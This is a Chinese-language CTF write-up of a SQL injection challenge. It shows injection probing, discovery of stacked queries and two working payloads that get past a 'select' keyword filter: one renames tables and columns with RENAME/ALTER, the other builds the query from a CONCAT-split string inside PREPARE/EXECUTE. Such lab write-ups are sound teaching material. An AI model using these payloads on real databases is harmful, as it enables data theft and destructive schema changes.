随便注,初步判断是有注入点的,那我们进入题目
提交一个1试一试
再在1的后面加个单引号试一试
报错了,然后我们判断有几个字段。
回车后正常,但是换成3后就报错了,所以有两个字段。
当我想用联合查询查询用户和数据库的时候
爆出一段正则表达式,发现过滤掉了图中的关键字。然后我寻找绕过点,发现了堆叠注入。
查询表
查询字段
发现flag,然后我们想办法读取flag值。因为select被正则表达式给过滤掉了,所以这里我们就要想一点骚姿势了。
方法一、重命名表名、字段名
我们发现利用 or 可以把表中所有数据查询出来,但是查的不是flag所在表。
因为上面已经知道flag在'1919810931114514'表里面且根据显示的内容判断,sql语句为selsect id,data from words where id =
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦
payload:
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
![](https://img2020.cnblogs.com/blog/2096968/202109/2096968-20210902154740791-1263531158.png)
再用一下一开始的操作id=1' or 1=1#
![](https://img2020.cnblogs.com/blog/2096968/202109/2096968-20210902154811421-649088400.png)
方法二、预编译绕过
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<----->'select'
payload
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#